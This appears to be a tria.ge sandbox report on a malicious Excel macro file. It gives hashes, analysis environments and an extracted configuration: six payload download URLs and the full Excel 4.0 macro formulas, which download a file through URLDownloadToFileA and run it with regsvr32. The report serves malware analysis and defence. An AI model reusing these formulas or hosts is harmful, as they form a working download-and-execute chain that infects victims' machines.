Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50
-
Size
46KB
-
Sample
241111-z3tl3awjev
-
MD5
ed0758a8f76a4747b18fc57184867f69
-
SHA1
64e84b42a1cfe887bdb436c115e539f0c1737ed5
-
SHA256
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50
-
SHA512
318a5234cc08a274a1ad190fc53eb98f3acc7c68cf8f9df79949d8e3deb3d700c3a129c533f93717a0b4293e4808fa9fea8c577e4b4a75c92ef4e7b6e545b6f2
-
SSDEEP
768:eeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:VoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/
Behavioral task
behavioral1
Sample
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50.xlsm
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
https://pakistannakliye.com/wp-admin/dyfAdRkv7/
https://spinoffyarnshop.com/content/YQlmbLaB/
http://murtjizindustry.com/wp-content/yI6/
http://nazrultheking.com/wp-includes/LZ/
http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pakistannakliye.com/wp-admin/dyfAdRkv7/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://spinoffyarnshop.com/content/YQlmbLaB/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://murtjizindustry.com/wp-content/yI6/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nazrultheking.com/wp-includes/LZ/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
https://pakistannakliye.com/wp-admin/dyfAdRkv7/
https://spinoffyarnshop.com/content/YQlmbLaB/
http://murtjizindustry.com/wp-content/yI6/
http://nazrultheking.com/wp-includes/LZ/
http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/
Targets
-
-
Target
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50
-
Size
46KB
-
MD5
ed0758a8f76a4747b18fc57184867f69
-
SHA1
64e84b42a1cfe887bdb436c115e539f0c1737ed5
-
SHA256
657839e0e7f698b67c9b6c3a38a59e4afd4349910b188e9d827e8845588d4b50
-
SHA512
318a5234cc08a274a1ad190fc53eb98f3acc7c68cf8f9df79949d8e3deb3d700c3a129c533f93717a0b4293e4808fa9fea8c577e4b4a75c92ef4e7b6e545b6f2
-
SSDEEP
768:eeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:VoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/
Score10/10 -